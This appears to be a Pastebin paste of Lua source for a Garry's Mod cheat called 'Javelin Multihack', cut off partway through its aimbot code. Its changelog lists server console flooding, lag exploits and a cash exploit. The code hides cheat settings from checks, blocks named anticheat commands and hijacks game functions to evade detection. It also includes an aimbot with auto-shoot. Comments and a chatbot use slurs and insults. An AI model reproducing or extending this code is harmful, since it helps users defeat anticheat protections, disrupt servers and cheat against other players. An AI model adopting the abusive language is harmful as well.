FingerMyAnus

Javelin Final Version (0.85)

Jul 18th, 2015
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 104.05 KB | None | 0 0
  1. /*--------------------------------------------------------
  2. __ .__ .__
  3. |__|____ ___ __ ____ | | |__| ____
  4. | \__ \\ \/ // __ \| | | |/ \
  5. | |/ __ \\ /\ ___/| |_| | | \
  6. /\__| (____ /\_/ \___ >____/__|___| /
  7. \______| \/ \/ \/
  8.  
  9.  
  10. An autistic hack i made 2 years ago for the meme lords at minge league united
  11. never fully finished and never will be since i've moved on to making far less shitty hacks
  12.  
  13. changes after 0.65
  14.  
  15. 0.85 - 6/12/2014
  16. - fixed colour scheme not saving (sort of)
  17. - added console jammer that floods the servers console with errors making it impossible for admins to tell whats going on
  18. - added radar
  19. - added propkill chatbot (has no menu controls, activate it with jav_chatbot for the time being)
  20.  
  21. 0.82 - 1/12/2014
  22. - removed spastic weldcrash that didnt work
  23. - added chat spammer
  24. - added spinbot
  25. - fixed auto clicker that i previously broke because im a spastic
  26. - more tweaks to xray (made props a bit more solid so it doesnt fuck up my depth perception)
  27. - made the colour system work properly (use jav_colour_r, jav_colour_g, and jav_colour_b to permenantly save your colour scheme)
  28.  
  29. 0.8 - 30/11/2014
  30. - removed fadmin ban dodger as it no longer works
  31. - added darkrp vomit cash exploit
  32.  
  33. 0.78 - 17/11/2014
  34. - ttt traitor detector now works
  35. - a few minor code fixes/cleanups
  36.  
  37. 0.76 - 17/11/2014
  38. - bypasses for simple anticheat and hellzones perp anticheat
  39. - hook.gettable blocking (should at least interfere with most anticheats if not stop them entirely)
  40.  
  41. 0.75 - 16/11/2014
  42. - converted darkrp lagsploit to my new sandbox lagsploit that works in any sandbox derived gamemode and won't
  43. cause the reliable stream overflow crash like the last one
  44. - added support for custom colour schemes. Colour scheme will affect the menu border, esp colours and xray colours.
  45.  
  46. 0.72 - 14/11/2014
  47. - xray now draws players as orange
  48. - using a newer, stronger darkrp lagsploit
  49. - made auto clicker much faster and less autistic
  50.  
  51. 0.71 - 08/11/2014
  52. - added crude auto click for rope spamming and semi auto weapons
  53. - tweaked xray a bit
  54.  
  55. 0.70 - 30/10/2014
  56. - unfucked the xray
  57. - changed menu controls for xray slightly
  58. - greatly improved the 'randomzie rpname' function
  59. - added prototype sandbox based lagsploit
  60. - made the flashlight spammer only spam when holding the F key (if your flashlight isnt bound to F then suck it up faggot)
  61.  
  62.  
  63. ----------------------------------------------------------*/
  64. jav_version = "Javelin Multihack 0.85"
  65. print("Javelin Multihack Successfully Initialized") -- the most important part
  66.  
  67. GColScheme = Color(250, 150, 0, 255)
  68.  
  69. local oConCommand = "deaglelogs is shit"
  70.  
  71. /*
  72. local netRec = net.Receive
  73. function net.Receive(msg)
  74. if(msg == "sBlockGMSpawn") then
  75. return false
  76. else return netRec(msg) end
  77. end
  78. */
  79.  
  80. local oldRead = file.Read
  81.  
  82. function file.Read( fn, path )
  83. if string.find(fn, "javelin*") then
  84. MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked a lua stealing attempt!" )
  85. else
  86. return oldRead( fn, path )
  87. end
  88. end
  89.  
  90. local function RecvPlayerKilledByPlayer()
  91.  
  92. local victim = net.ReadEntity();
  93. local inflictor = net.ReadString();
  94. local attacker = net.ReadEntity();
  95.  
  96. if ( !IsValid( attacker ) ) then return end
  97. if ( !IsValid( victim ) ) then return end
  98.  
  99. GAMEMODE:AddDeathNotice( attacker:Name(), attacker:Team(), inflictor, victim:Name(), victim:Team() )
  100. if GetConVarNumber("jav_chatbot") == 1 then
  101. if attacker == LocalPlayer() then
  102. RunConsoleCommand("say", "rekt")
  103. end
  104.  
  105.  
  106. if victim == LocalPlayer() then
  107. RunConsoleCommand("say", "fuck off you spastic")
  108. end
  109. end
  110.  
  111. end
  112.  
  113. net.Receive( "PlayerKilledByPlayer", RecvPlayerKilledByPlayer )
  114.  
  115.  
  116. /*------------------------------------------
  117. Let's Start with some basic convar protection
  118. ------------------------------------------*/
  119.  
  120. local OriginalGetConVarNumber = GetConVarNumber;
  121.  
  122. function GetConVarNumber( name )
  123. if ( name == "sv_allowcslua" or name == "sv_cheats" or name == "host_framerate" or name == "mat_fullbright") then
  124. return 0;
  125. else
  126. return OriginalGetConVarNumber( name );
  127. end
  128. end
  129.  
  130. /*------------------------------------------
  131. And a basic rcc scrambler
  132. ------------------------------------------*/
  133.  
  134. local badcmds = { -- commands to be blocked
  135. "__ac",
  136. "__imacheater", -- yeah but nah
  137. "gm_possess",
  138. "achievementRefresh", -- fuck you lifepunch
  139. "__uc_", -- RIOT
  140. "_____b__c",
  141. "___m",
  142. "sc",
  143. "bg",
  144. "bm",
  145. "kickme",
  146. "gw_iamacheater",
  147. "imafaggot", -- no u
  148. "birdcage_browse",
  149. "reportmod",
  150. "_fuckme", -- lol ok
  151. "st_openmenu",
  152. "_NOPENOPE",
  153. "__ping",
  154. "ar_check",
  155. "GForceRecoil",
  156. "~__ac_auth",
  157. "blade_client_check",
  158. "blade_client_detected_message",
  159. "disconnect",
  160. "exit",
  161. "retry",
  162. "kill",
  163. "-voicerecord",
  164. "+voicerecord", -- mic snoopers go home
  165. "dac_imcheating", -- fuck u bich
  166. "dac_pleasebanme", -- fuck u bich
  167. "_hz_perp_bans_2hz1", -- rip hellzone AC
  168. "rdm" -- rip simple anticheat
  169. }
  170.  
  171. -- breaks concommand entirely for keks
  172. local fuckwits = FindMetaTable( "Player" )
  173. local faget = fuckwits.ConCommand
  174. function fuckwits:ConCommand( str )
  175. if str == "jpeg" then return false
  176. else
  177. return faget(str)
  178. end
  179. end
  180.  
  181.  
  182. local old_rcc = RunConsoleCommand;
  183.  
  184. function RunConsoleCommand(cmd,...)
  185. if !table.HasValue(badcmds,cmd) then
  186. return old_rcc(cmd,...)
  187. else
  188. MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked Malicious Concommand:"..cmd )
  189. return
  190. end
  191. end
  192.  
  193. /*------------------------------------------
  194. Hellzone Perp stuff
  195. ------------------------------------------*/
  196.  
  197. _G.RunCheck = function() print("Fuck off killslick") end -- RIP hellzone anticheat
  198. timer.Simple(1, function()
  199. if AccountCreationScreen then
  200. AccountCreationScreen:Remove(); -- go fuck yourself
  201. end
  202.  
  203. hook.Remove("PlayerBindPress", "BlockPhysgunWheelSpeedGlitch") -- no seriously go fuck yourself
  204.  
  205. end)
  206.  
  207.  
  208. /*------------------------------------------
  209. Fuck your hook checker v2 electric boogaloo
  210. ------------------------------------------*/
  211.  
  212. /*
  213. local FuckHooks = hook.GetTable
  214. function hook.GetTable( )
  215. MsgC( Color( 255, 150, 0 ), "[Javelin] Blocked an attempt to sniff your hook table" )
  216. end
  217. */
  218.  
  219.  
  220. /*------------------------------------------
  221. AutoAim (Originally coded by rabidtoaster, integrated and modified by LegendofRobbo)
  222. ------------------------------------------*/
  223.  
  224. if SERVER then return end
  225.  
  226. local AA = {}
  227.  
  228. local concommand = concommand
  229. local cvars = cvars
  230. local debug = debug
  231. local ents = ents
  232. local file = file
  233. local hook = hook
  234. local math = math
  235. local spawnmenu = spawnmenu
  236. local string = string
  237. local surface = surface
  238. local table = table
  239. local timer = timer
  240. local util = util
  241. local vgui = vgui
  242.  
  243. local Angle = Angle
  244. local CreateClientConVar = CreateClientConVar
  245. local CurTime = CurTime
  246. local ErrorNoHalt = ErrorNoHalt
  247. local FrameTime = FrameTime
  248. local GetConVarString = GetConVarString
  249. local GetViewEntity = GetViewEntity
  250. local include = include
  251. local ipairs = ipairs
  252. local LocalPlayer = LocalPlayer
  253. local pairs = pairs
  254. local pcall = pcall
  255. local print = print
  256. local RunConsoleCommand = RunConsoleCommand
  257. local ScrH = ScrH
  258. local ScrW = ScrW
  259. local tonumber = tonumber
  260. local type = type
  261. local unpack = unpack
  262. local ValidEntity = IsValid
  263. local Vector = Vector
  264.  
  265. do
  266. local hooks = {}
  267. local created = {}
  268. local function CallHook(self, name, args)
  269. if !hooks[name] then return end
  270. for funcName, _ in pairs(hooks[name]) do
  271. local func = self[funcName]
  272. if func then
  273. local ok, err = pcall(func, self, unpack(args or {}))
  274. if !ok then
  275. ErrorNoHalt(err .. "\n")
  276. elseif err then
  277. return err
  278. end
  279. end
  280. end
  281. end
  282. local function RandomName()
  283. local random = ""
  284. for i = 1, math.random(4, 10) do
  285. local c = math.random(65, 116)
  286. if c >= 91 && c <= 96 then c = c + 6 end
  287. random = random .. string.char(c)
  288. end
  289. return random
  290. end
  291. local function AddHook(self, name, funcName)
  292. // If we haven't got a hook for this yet, make one with a random name and store it.
  293. // This is so anti-cheats can't detect by hook name, and so we can remove them later.
  294. if !created[name] then
  295. local random = RandomName()
  296. hook.Add(name, random, function(...) return CallHook(self, name, {...}) end)
  297. created[name] = random
  298. end
  299.  
  300. hooks[name] = hooks[name] or {}
  301. hooks[name][funcName] = true
  302. end
  303.  
  304. local cvarhooks = {}
  305. local function GetCallbackTable(convar)
  306. local callbacks = cvars.GetConVarCallbacks(convar)
  307. if !callbacks then
  308. cvars.AddChangeCallback(convar, function() end)
  309. callbacks = cvars.GetConVarCallbacks(convar)
  310. end
  311. return callbacks
  312. end
  313.  
  314. local function AddCVarHook(self, convar, funcName, ...)
  315. local hookName = "CVar_" .. convar
  316. if !cvarhooks[convar] then
  317. local random = RandomName()
  318.  
  319. local callbacks = GetCallbackTable(convar)
  320. callbacks[random] = function(...)
  321. CallHook(self, hookName, {...})
  322. end
  323.  
  324. cvarhooks[convar] = random
  325. end
  326. AddHook(self, hookName, funcName)
  327. end
  328.  
  329. // Don't let other scripts remove our hooks.
  330. local oldRemove = hook.Remove
  331. function hook.Remove(name, unique)
  332. if created[name] == unique then return end
  333. oldRemove(name, unique)
  334. end
  335.  
  336. // Removes all hooks, useful if reloading the script.
  337. local function RemoveHooks()
  338. for hookName, unique in pairs(created) do
  339. oldRemove(hookName, unique)
  340. end
  341. for convar, unique in pairs(cvarhooks) do
  342. local callbacks = GetCallbackTable(convar)
  343. callbacks[unique] = nil
  344. end
  345. end
  346.  
  347. // Add copies the script can access.
  348. AA.AddHook = AddHook
  349. AA.AddCVarHook = AddCVarHook
  350. AA.CallHook = CallHook
  351. AA.RemoveHooks = RemoveHooks
  352. end
  353.  
  354. concommand.Add("jav_aa_reload", function()
  355. AA:CallHook("Shutdown")
  356. print("Removing hooks...")
  357. AA:RemoveHooks()
  358.  
  359. AA = nil
  360. local info = debug.getinfo(1, "S")
  361. if info && info.short_src then
  362. if string.Left(info.short_src, 3) == "lua" then
  363. info.short_src = string.sub(info.short_src, 5)
  364. end
  365. print("Reloading (" .. info.short_src .. ")...")
  366. include(info.short_src)
  367. else
  368. print("file error detected, reload manually.")
  369. end
  370. end)
  371.  
  372. // ##################################################
  373. // MetaTables
  374. // ##################################################
  375.  
  376. local function GetMeta(name)
  377. return table.Copy(FindMetaTable(name) or {})
  378. end
  379.  
  380. local AngM = GetMeta("Angle")
  381. local CmdM = GetMeta("CUserCmd")
  382. local EntM = GetMeta("Entity")
  383. local PlyM = GetMeta("Player")
  384. local VecM = GetMeta("Vector")
  385.  
  386.  
  387. // ##################################################
  388. // Targetting - Positions
  389. // ##################################################
  390.  
  391. AA.ModelTarget = {}
  392. function AA:SetModelTarget(model, targ)
  393. self.ModelTarget[model] = targ
  394. end
  395. function AA:BaseTargetPosition(ent)
  396. // The eye attachment is a lot more stable than bones for players.
  397. if type(ent) == "Player" then
  398. if GetConVarNumber("jav_aa_headshot") == 1 then
  399. local head = EntM["LookupAttachment"](ent, "eyes")
  400. if head then
  401. local pos = EntM["GetAttachment"](ent, head)
  402. if pos then
  403. return pos.Pos - (AngM["Forward"](pos.Ang) * 2)
  404. end
  405. end
  406. end
  407. else
  408. local bone = EntM["LookupBone"](ent, "ValveBiped.Bip01_Spine2")
  409. if bone then
  410. local pos = EntM["GetBonePosition"](ent, bone)
  411. if pos then
  412. return pos - (AngM["Forward"](pos.Ang) * 1)
  413. end
  414. end
  415. end
  416.  
  417. // Check if the model has a special target assigned to it.
  418. local special = self.ModelTarget[string.lower(EntM["GetModel"](ent) or "")]
  419. if special then
  420. // It's a string - look for a bone.
  421. if type(special) == "string" then
  422. local bone = EntM["LookupBone"](ent, special)
  423. if bone then
  424. local pos = EntM["GetBonePosition"](ent, bone)
  425. if pos then
  426. return pos
  427. end
  428. end
  429. // It's a Vector - return a relative position.
  430. elseif type(special) == "Vector" then
  431. return EntM["LocalToWorld"](ent, special)
  432. // It's a function - do something fancy!
  433. elseif type(special) == "function" then
  434. local pos = pcall(special, ent)
  435. if pos then return pos end
  436. end
  437. end
  438.  
  439. // Try and use the head bone, found on all of the player + human models.
  440. local bone = "ValveBiped.Bip01_Spine2"
  441. local head = EntM["LookupBone"](ent, bone)
  442. if head then
  443. local pos = EntM["GetBonePosition"](ent, head)
  444. if pos then
  445. return pos
  446. end
  447. end
  448.  
  449. // Give up and return the center of the entity.
  450. return EntM["LocalToWorld"](ent, EntM["OBBCenter"](ent))
  451. end
  452. function AA:TargetPosition(ent)
  453. local targetPos = self:BaseTargetPosition(ent)
  454.  
  455. local ply = LocalPlayer()
  456. if ValidEntity(ply) then
  457. targetPos = self:CallHook("TargetPrediction", {ply, ent, targetPos}) or targetPos
  458. end
  459.  
  460. return targetPos
  461. end
  462.  
  463. AA:SetModelTarget("models/crow.mdl", Vector(0, 0, 5)) // Crow.
  464. AA:SetModelTarget("models/pigeon.mdl", Vector(0, 0, 5)) // Pigeon.
  465. AA:SetModelTarget("models/seagull.mdl", Vector(0, 0, 6)) // Seagull.
  466. AA:SetModelTarget("models/combine_scanner.mdl", "Scanner.Body") // Scanner.
  467. AA:SetModelTarget("models/hunter.mdl", "MiniStrider.body_joint") // Hunter.
  468. AA:SetModelTarget("models/combine_turrets/floor_turret.mdl", "Barrel") // Turret.
  469. AA:SetModelTarget("models/dog.mdl", "Dog_Model.Eye") // Dog.
  470. AA:SetModelTarget("models/vortigaunt.mdl", "ValveBiped.Head") // Vortigaunt.
  471. AA:SetModelTarget("models/antlion.mdl", "Antlion.Body_Bone") // Antlion.
  472. AA:SetModelTarget("models/antlion_guard.mdl", "Antlion_Guard.Body") // Antlion guard.
  473. AA:SetModelTarget("models/antlion_worker.mdl", "Antlion.Head_Bone") // Antlion worker.
  474. AA:SetModelTarget("models/zombie/fast_torso.mdl", "ValveBiped.HC_BodyCube") // Fast zombie torso.
  475. AA:SetModelTarget("models/zombie/fast.mdl", "ValveBiped.HC_BodyCube") // Fast zombie.
  476. AA:SetModelTarget("models/headcrabclassic.mdl", "HeadcrabClassic.SpineControl") // Normal headcrab.
  477. AA:SetModelTarget("models/headcrabblack.mdl", "HCBlack.body") // Poison headcrab.
  478. AA:SetModelTarget("models/headcrab.mdl", "HCFast.body") // Fast headcrab.
  479. AA:SetModelTarget("models/zombie/poison.mdl", "ValveBiped.Headcrab_Cube1") // Poison zombie.
  480. AA:SetModelTarget("models/zombie/classic.mdl", "ValveBiped.HC_Body_Bone") // Zombie.
  481. AA:SetModelTarget("models/zombie/classic_torso.mdl", "ValveBiped.HC_Body_Bone") // Zombie torso.
  482. AA:SetModelTarget("models/zombie/zombie_soldier.mdl", "ValveBiped.HC_Body_Bone") // Zombine.
  483. AA:SetModelTarget("models/combine_strider.mdl", "Combine_Strider.Body_Bone") // Strider.
  484. AA:SetModelTarget("models/combine_dropship.mdl", "D_ship.Spine1") // Combine dropship.
  485. AA:SetModelTarget("models/combine_helicopter.mdl", "Chopper.Body") // Combine helicopter.
  486. AA:SetModelTarget("models/gunship.mdl", "Gunship.Body") // Combine gunship.
  487. AA:SetModelTarget("models/lamarr.mdl", "HeadcrabClassic.SpineControl") // Lamarr!
  488. AA:SetModelTarget("models/mortarsynth.mdl", "Root Bone") // Mortar synth.
  489. AA:SetModelTarget("models/synth.mdl", "Bip02 Spine1") // Synth.
  490. AA:SetModelTarget("models/vortigaunt_slave.mdl", "ValveBiped.Head") // Vortigaunt slave.
  491.  
  492.  
  493. // ##################################################
  494. // Targetting - General
  495. // ##################################################
  496.  
  497. AA.NPCDeathSequences = {}
  498. function AA:AddNPCDeathSequence(model, sequence)
  499. self.NPCDeathSequences = self.NPCDeathSequences or {}
  500. self.NPCDeathSequences[model] = self.NPCDeathSequences[model] or {}
  501. if !table.HasValue(self.NPCDeathSequences[model]) then
  502. table.insert(self.NPCDeathSequences[model], sequence)
  503. end
  504. end
  505.  
  506. AA:AddNPCDeathSequence("models/barnacle.mdl", 4)
  507. AA:AddNPCDeathSequence("models/barnacle.mdl", 15)
  508. AA:AddNPCDeathSequence("models/antlion_guard.mdl", 44)
  509. AA:AddNPCDeathSequence("models/hunter.mdl", 124)
  510. AA:AddNPCDeathSequence("models/hunter.mdl", 125)
  511. AA:AddNPCDeathSequence("models/hunter.mdl", 126)
  512. AA:AddNPCDeathSequence("models/hunter.mdl", 127)
  513. AA:AddNPCDeathSequence("models/hunter.mdl", 128)
  514.  
  515. function AA:IsValidTarget(ent)
  516. // We only want players/NPCs.
  517. local typename = type(ent)
  518. if typename != "NPC" && typename != "Player" then return false end
  519.  
  520. // No invalid entities.
  521. if !ValidEntity(ent) then return false end
  522.  
  523. // Go shoot yourself, emo kid.
  524. local ply = LocalPlayer()
  525. if ent == ply then return false end
  526.  
  527. local weap = PlyM["GetActiveWeapon"](ply)
  528. if ValidEntity(weap) then
  529. local class = EntM["GetClass"](weap)
  530. if class == "weapon_physgun" or class == "weapon_physcannon" or class == "gmod_tool" or class == "gmod_camera" then return false end
  531. end
  532.  
  533. if typename == "Player" then
  534. if !PlyM["Alive"](ent) then return false end // Dead players FTL.
  535. if GetConVarNumber("jav_aa_targetteam") != 1 && PlyM["Team"](ent) == PlyM["Team"](ply) then return false end
  536. if GetConVarNumber("jav_aa_targetfriends") != 1 && ent:GetFriendStatus() == "friend" then return false end
  537. if EntM["GetMoveType"](ent) == MOVETYPE_OBSERVER then return false end // No spectators.
  538. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  539. //if pl["Team"](ent) == 1001 then return false end
  540. end
  541.  
  542. if typename == "NPC" then
  543. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end // No dead NPCs.
  544.  
  545. // No dying NPCs.
  546. local model = string.lower(EntM["GetModel"](ent) or "")
  547. if table.HasValue(self.NPCDeathSequences[model] or {}, EntM["GetSequence"](ent)) then return false end
  548. end
  549. end
  550. function AA:BaseBlocked(target, offset)
  551. local ply = LocalPlayer()
  552. if !ValidEntity(ply) then return end
  553.  
  554. // Trace from the players shootpos to the position.
  555. local shootPos = PlyM["GetShootPos"](ply)
  556. local targetPos = self:TargetPosition(target)
  557.  
  558. if offset then targetPos = targetPos + offset end
  559.  
  560. local trace = util.TraceLine({start = shootPos, endpos = targetPos, filter = {ply, target}, mask = MASK_SHOT})
  561. local wrongAim = self:AngleBetween(PlyM["GetAimVector"](ply), VecM["GetNormal"](targetPos - shootPos)) > 2
  562.  
  563. // If we hit something, we're "blocked".
  564. if trace.Hit && trace.Entity != target then
  565. return true, wrongAim
  566. end
  567.  
  568. // It is not blocked.
  569. return false, wrongAim
  570. end
  571. function AA:TargetBlocked(target)
  572. if !target then target = self:GetTarget() end
  573. if !target then return end
  574.  
  575. local blocked, wrongAim = self:BaseBlocked(target)
  576. return blocked, wrongAim
  577. end
  578.  
  579.  
  580. function AA:SetTarget(ent)
  581. if self.Target && !ent then
  582. self:CallHook("TargetLost")
  583. elseif !self.Target && ent then
  584. self:CallHook("TargetGained")
  585. elseif self.Target && ent && self.Target != ent then
  586. self:CallHook("TargetChanged")
  587. end
  588.  
  589. self.Target = ent
  590. end
  591. function AA:GetTarget()
  592. if ValidEntity(self.Target) != false then
  593. return self.Target
  594. else
  595. return false
  596. end
  597. end
  598. function AA:FindTarget()
  599. if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  600.  
  601. local ply = LocalPlayer()
  602. if !ValidEntity(ply) then return end
  603.  
  604. local maxAng = GetConVarNumber("jav_aa_angle")
  605. local aimVec, shootPos = PlyM["GetAimVector"](ply), PlyM["GetShootPos"](ply)
  606.  
  607.  
  608. // Filter out targets.
  609. local targets = ents.GetAll()
  610. for i, ent in pairs(targets) do
  611. if self:IsValidTarget(ent) == false then
  612. targets[i] = nil
  613. end
  614. end
  615.  
  616. local closestTarget, lowestAngle = _, maxAng
  617. for _, target in pairs(targets) do
  618. if GetConVarNumber("jav_aa_ignorewalls") == 1 || !self:TargetBlocked(target) then
  619. local targetPos = self:TargetPosition(target)
  620. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  621.  
  622. if angle < lowestAngle then
  623. lowestAngle = angle
  624. closestTarget = target
  625. end
  626. end
  627. end
  628.  
  629. self:SetTarget(closestTarget)
  630. end
  631. AA:AddHook("Think", "FindTarget")
  632.  
  633.  
  634. // ##################################################
  635. // Fake view
  636. // ##################################################
  637.  
  638. AA.View = Angle(0, 0, 0)
  639. function AA:GetView()
  640. return self.View * 1
  641. end
  642. function AA:KeepView()
  643. if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  644.  
  645. local ply = LocalPlayer()
  646. if !ValidEntity(ply) then return end
  647.  
  648. self.View = EntM["EyeAngles"](ply)
  649. end
  650. AA:AddHook("OnToggled", "KeepView")
  651.  
  652. local sensitivity = 0.022
  653. function AA:RotateView(cmd)
  654. self.View.p = math.Clamp(self.View.p + (CmdM["GetMouseY"](cmd) * sensitivity), -89, 89)
  655. self.View.y = math.NormalizeAngle(self.View.y + (CmdM["GetMouseX"](cmd) * sensitivity * -1))
  656. end
  657.  
  658. function AA:FakeView(ply, origin, angles, FOV)
  659. if GetConVarNumber("jav_autoaim_enabled") != 1 && !self.SetAngleTo then return end
  660. if GetViewEntity() != LocalPlayer() then return end
  661.  
  662. local base = GAMEMODE:CalcView(ply, origin, self.SetAngleTo or self.View, FOV) or {}
  663. base.angles = base.angles or (self.AngleTo or self.View)
  664. base.angles.r = 0 // No crappy screen tilting in ZS.
  665. return base
  666. end
  667. AA:AddHook("CalcView", "FakeView")
  668.  
  669.  
  670. function AA:TargetPrediction(ply, target, targetPos)
  671. local weap = PlyM["GetActiveWeapon"](ply)
  672. if ValidEntity(weap) then
  673. local class = EntM["GetClass"](weap)
  674. if class == "weapon_crossbow" then
  675. local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  676. local time = (dist / 3500) + 0.05 // About crossbow bolt speed.
  677. targetPos = targetPos + (EntM["GetVelocity"](target) * time)
  678. end
  679.  
  680. local mul = 0.0075
  681. //targetPos = targetPos - (e["GetVelocity"](ply) * mul)
  682. end
  683.  
  684. return targetPos
  685. end
  686. AA:AddHook("TargetPrediction", "TargetPrediction")
  687.  
  688. // ##################################################
  689. // Aim
  690. // ##################################################
  691.  
  692. function AA:SetAngle(ang)
  693. self.SetAngleTo = ang
  694. end
  695. AA.LastAttack = 0
  696. function AA:SetAimAngles(cmd)
  697. self:RotateView(cmd)
  698.  
  699. if GetConVarNumber("jav_autoaim_enabled") != 1 && !self.SetAngleTo then return end
  700.  
  701. local ply = LocalPlayer()
  702. if !ValidEntity(ply) then return end
  703.  
  704. // We're aiming with the view, normally.
  705. local targetAim = self:GetView()
  706.  
  707. // If we have a target, aim at them!
  708. local target = self:GetTarget()
  709. if target then
  710. local targetPos = self:TargetPosition(target)
  711. targetAim = VecM["Angle"](targetPos - ply:GetShootPos())
  712. end
  713.  
  714. // We're following the view, until we fire.
  715. if GetConVarNumber("jav_aa_snaponaim") == 1 then
  716. local time = CurTime()
  717. if PlyM["KeyDown"](ply, IN_ATTACK2) || (GetConVarNumber("jav_aa_autoshoot") / 0.02) != 0 then
  718. self.LastAttack = time
  719. end
  720. if CurTime() - self.LastAttack > GetConVarNumber("jav_aa_snaponaimgrace") then
  721. targetAim = self:GetView()
  722. end
  723. end
  724.  
  725. // We want to change to whatever was SetAngle'd.
  726. if self.SetAngleTo then
  727. targetAim = self.SetAngleTo
  728. end
  729.  
  730. // Smooth aiming.
  731. local smooth = 0
  732. if smooth > 0 then
  733. local current = CmdM["GetViewAngles"](cmd)
  734.  
  735. // Approach the target angle.
  736. current = self:ApproachAngle(current, targetAim, smooth * FrameTime())
  737. current.r = 0
  738.  
  739. // If we're just following the view, we don't need to smooth it.
  740. if self.RevertingAim then
  741. local diff = self:NormalizeAngle(current - self:GetView())
  742. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.RevertingAim = false end
  743. elseif targetAim == self:GetView() then
  744. current = targetAim
  745. end
  746.  
  747. // Check if the angles are the same...
  748. if self.SetAngleTo then
  749. local diff = self:NormalizeAngle(current - self.SetAngleTo)
  750. if math.abs(diff.p) < 1 && math.abs(diff.y) < 1 then self.SetAngleTo = nil end
  751. end
  752.  
  753. aim = current
  754. else
  755. aim = targetAim
  756. self.SetAngleTo = nil
  757. end
  758.  
  759. // Set the angles.
  760. CmdM["SetViewAngles"](cmd, aim)
  761. local sensitivity = 0.22
  762. local diff = aim - CmdM["GetViewAngles"](cmd)
  763. CmdM["SetMouseX"](cmd, diff.y / sensitivity)
  764. CmdM["SetMouseY"](cmd, diff.p / sensitivity)
  765.  
  766.  
  767. // Change the players movement to be relative to their view instead of their aim.
  768. local move = Vector(CmdM["GetForwardMove"](cmd), CmdM["GetSideMove"](cmd), 0)
  769. local norm = VecM["GetNormal"](move)
  770. local set = AngM["Forward"](VecM["Angle"](norm) + (aim - self:GetView())) * VecM["Length"](move)
  771. CmdM["SetForwardMove"](cmd, set.x)
  772. CmdM["SetSideMove"](cmd, set.y)
  773. end
  774. AA:AddHook("CreateMove", "SetAimAngles")
  775.  
  776. function AA:RevertAim()
  777. self.RevertingAim = true
  778. end
  779. AA:AddHook("TargetLost", "RevertAim")
  780. function AA:StopRevertAim()
  781. self.RevertingAim = false
  782. end
  783. AA:AddHook("TargetGained", "RevertAim")
  784.  
  785. // When we turn off the bot, we want our aim to go back to our view.
  786. function AA:ViewToAim()
  787. if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  788. self:SetAngle(self:GetView())
  789. end
  790. AA:AddHook("OnToggled", "ViewToAim")
  791.  
  792.  
  793. // ##################################################
  794. // HUD
  795. // ##################################################
  796. function AA:DrawTarget()
  797. if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  798.  
  799. local target = self:GetTarget()
  800. if !target then return end
  801. if target:Alive() == false then return end
  802.  
  803. // Change colour on the block status.
  804. /*
  805. local blocked, aimOff = self:TargetBlocked()
  806. if blocked then
  807. surface.SetDrawColor(255, 0, 0, 255) // Red.
  808. elseif aimOff then
  809. surface.SetDrawColor(255, 255, 0, 255) // Yellow.
  810. else
  811. surface.SetDrawColor(0, 255, 0, 255) // Green.
  812. end
  813. */
  814.  
  815. // Get the onscreen coordinates for the target.
  816. local pos = self:TargetPosition(target)
  817.  
  818. local screen = VecM["ToScreen"](pos)
  819. local x, y = screen.x, screen.y
  820.  
  821. surface.SetDrawColor(255,255,255,255)
  822. surface.DrawRect( x + 10, y -1, 20, 2 )
  823. surface.DrawRect( x - 30, y -1, 20, 2 )
  824. surface.DrawRect( x - 1, y +20, 2, 20 )
  825. surface.DrawRect( x - 1, y -40, 2, 20 )
  826. end
  827. AA:AddHook("HUDPaint", "DrawTarget")
  828.  
  829.  
  830. AA.ScreenMaxAngle = {
  831. Length = 0,
  832. FOV = 0,
  833. MaxAngle = 0
  834. }
  835. function AA:DrawMaxAngle()
  836. if GetConVarNumber("jav_autoaim_enabled") != 1 then return end
  837.  
  838. // We need a player for this to work...
  839. local ply = LocalPlayer()
  840. if !ValidEntity(ply) then return end
  841.  
  842. local info = self.ScreenMaxAngle
  843. local maxang = GetConVarNumber("jav_aa_angle")
  844.  
  845. local fov = PlyM["GetFOV"](ply)
  846. if GetViewEntity() == ply && (maxang != info.MaxAngle || fov != info.FOV) then
  847. local view = self:GetView()
  848. view.p = view.p + maxang
  849.  
  850. local screen = (PlyM["GetShootPos"](ply) + (AngM["Forward"](view) * 100))
  851. screen = VecM["ToScreen"](screen)
  852.  
  853. info.Length = math.abs((ScrH() / 2) - screen.y)
  854.  
  855. info.MaxAngle = maxang
  856. info.FOV = fov
  857. end
  858.  
  859. local length = info.Length
  860.  
  861. local cx, cy = ScrW() / 2, ScrH() / 2
  862. for x = -1, 1 do
  863. for y = -1, 1 do
  864. if x != 0 || y != 0 then
  865. local add = VecM["GetNormal"](Vector(x, y, 0)) * length
  866. surface.DrawCircle(cx, cy, add.x, Color(255,150,0,255))
  867. end
  868. end
  869. end
  870.  
  871. end
  872. AA:AddHook("HUDPaint", "DrawMaxAngle")
  873.  
  874. // ##################################################
  875. // Auto-shoot
  876. // ##################################################
  877.  
  878. AA.AttackDown = false
  879. function AA:SetShooting(bool)
  880. if self.AttackDown == bool then return end
  881. self.AttackDown = bool
  882.  
  883. local pre = {[true] = "+", [false] = "-"}
  884. RunConsoleCommand(pre[bool] .. "attack")
  885. end
  886.  
  887. AA.NextShot = 0
  888. function AA:Shoot()
  889. if GetConVarNumber("jav_autoaim_enabled") != 1 then
  890. self:SetShooting(false)
  891. return
  892. end
  893.  
  894. // Get the maximum distance.
  895. local maxDist = (GetConVarNumber("jav_aa_autoshoot") / 0.02)
  896. if maxDist == 0 then return end
  897.  
  898. // Check we've got something to shoot at...
  899. local target = self:GetTarget()
  900. if !target then return end
  901.  
  902. // Don't shoot until we can hit, you idiot!
  903. local blocked, wrongAim = self:TargetBlocked(target)
  904. if blocked || wrongAim then return end
  905.  
  906. // We're gonna need the player object in a second.
  907. local ply = LocalPlayer()
  908. if !ValidEntity(ply) then return end
  909.  
  910. // Check we're within our maximum distance.
  911. local targetPos = self:TargetPosition(target)
